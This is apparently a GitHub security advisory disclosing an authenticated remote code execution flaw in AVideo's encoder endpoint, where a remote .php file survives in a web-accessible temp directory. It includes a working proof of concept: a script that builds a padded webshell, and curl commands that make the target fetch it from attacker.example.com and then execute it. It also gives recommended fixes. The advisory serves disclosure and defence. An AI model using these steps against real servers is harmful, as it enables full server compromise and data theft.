GHSA-8wf4-c4x3-h952 AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary The `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Details The vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations. Step 1 — File download preserves dangerous extension: In `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL's original basename: ```php // objects/aVideoEncoder.json.php:361-365 $_FILES['video']['name'] = basename($downloadURL); // preserves .php extension $temp = Video::getStoragePath() . "cache/tmpFile/" . $_FILES['video']['name']; make_path($temp); $bytesSaved = file_put_contents($temp, $file); ``` The `format` parameter (validated against `$global['allowedExtension']` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`. Step 2 — Resolution validation aborts after file write: After the file is downloaded and written to disk (line 156), the resolution is validated: ```php // objects/aVideoEncoder.json.php:229-233 if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) { $msg = "This resolution is not possible {$_REQUEST['resolution']}"; _error_log($msg); forbiddenPage($msg); // calls die() — execution stops here } ``` The `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`: ```php if (empty($unlockPassword) && isContentTypeJson()) { // ... die(json_encode($obj)); // line 573 — execution terminates } ``` Step 3 — Cleanup never reached: The `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first. Step 4 — No execution restrictions on temp directory: The `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does not match plain `.php`. PoC Prerequisites: An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size. Step 1 — Prepare the PHP payload (on attacker server): ```bash Create a PHP webshell padded to >=20KB to pass the minimum size check python3 -c " payload = b'' padding = b'\n' + b'/' * (20001 - len(payload)) open('shell.php', 'wb').write(payload + padding) " Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php) ``` Step 2 — Trigger the download with invalid resolution: ```bash curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \ -d 'user=uploader_username' \ -d 'pass=uploader_password' \ -d 'format=mp4' \ -d 'downloadURL=https://attacker.example.com/shell.php' \ -d 'resolution=9999' ``` Expected response: `{"error":true,"msg":"This resolution is not possible 9999","forbiddenPage":true}` Step 3 — Access the persisted PHP file: ```bash curl 'https://target.example.com/videos/cache/tmpFile/shell.php' ``` Expected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server. Impact An authenticated user with standard upload permissions can achieve Remote Code Execution on the server. This allows: • Full server compromise — read/write arbitrary files, execute system commands • Access to database credentials and all stored user data • Lateral movement to other services on the same network • Modification or destruction of all video content and platform configuration • Use of the server as a pivot point for further attacks The attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt. Recommended Fix Fix 1 (Primary) — Validate file extension in `downloadVideoFromDownloadURL()`: ```php // objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360 function downloadVideoFromDownloadURL($downloadURL) { global $global, $obj; $downloadURL = trim($downloadURL); // ... existing SSRF check ... // NEW: Validate the file extension against allowed extensions $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION)); if (!in_array($urlExtension, $global['allowedExtension'])) { __errlog("aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: " . $urlExtension); return false; } // ... rest of function ... } ``` Fix 2 (Defense in depth) — Move resolution validation before file download: ```php // objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154 // Validate resolution BEFORE downloading anything if (!empty($_REQUEST['resolution'])) { if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) { $msg = "This resolution is not possible {$_REQUEST['resolution']}"; _error_log($msg); forbiddenPage($msg); } } // Then proceed with download... ``` Fix 3 (Defense in depth) — Add `.htaccess` to temp directory: Create `videos/cache/tmpFile/.htaccess`: ```apache Deny execution of all scripts in temp directory Require all denied php_flag engine off ```